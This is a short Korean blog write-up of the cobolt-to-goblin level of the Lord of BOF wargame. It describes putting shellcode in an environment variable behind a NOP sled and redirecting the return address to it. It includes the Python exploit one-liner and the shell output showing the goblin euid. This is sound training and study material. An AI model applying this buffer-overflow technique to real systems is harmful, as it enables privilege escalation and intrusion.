환경변수에 쉘코드를 등록해놓고 Ret 를 환경변수로 돌리는 방식으로 풀었다.
이 때, 약간 주의해야 할 점은
1. 환경변수 앞에 NOP를 많이 넣을 것.
2. RET 에 정확한 환경변수 주소값을 넣지 말고, 약간 주소를 더한 값을 넣을 것.
환경변수 이름의 길이에 따라 주소값이 밀릴 수 있어, 약간 밀린 주소를 써주는 것이
NOP 슬라이드를 타게하는데 용이하다.
[cobolt@localhost cobolt]$ (python -c 'print "\x90"*20 + "\x40\x86\xff\xbf"'; cat) | ./goblin
��������������������@���
id
uid=502(cobolt) gid=502(cobolt) euid=503(goblin) egid=503(goblin) groups=502(cobolt)
my-pass
euid = 503
hackers proof
'Wargame > LOB(끝)' 카테고리의 다른 글
orc -> wolfman (0) | 2015.01.28 |
---|---|
goblin -> orc (0) | 2015.01.28 |
gremlin -> cobolt (0) | 2015.01.23 |
Stack Frame Pointer Overflow (1) | 2015.01.22 |
gate -> gremlin (gdb 기초 사용법) (0) | 2015.01.22 |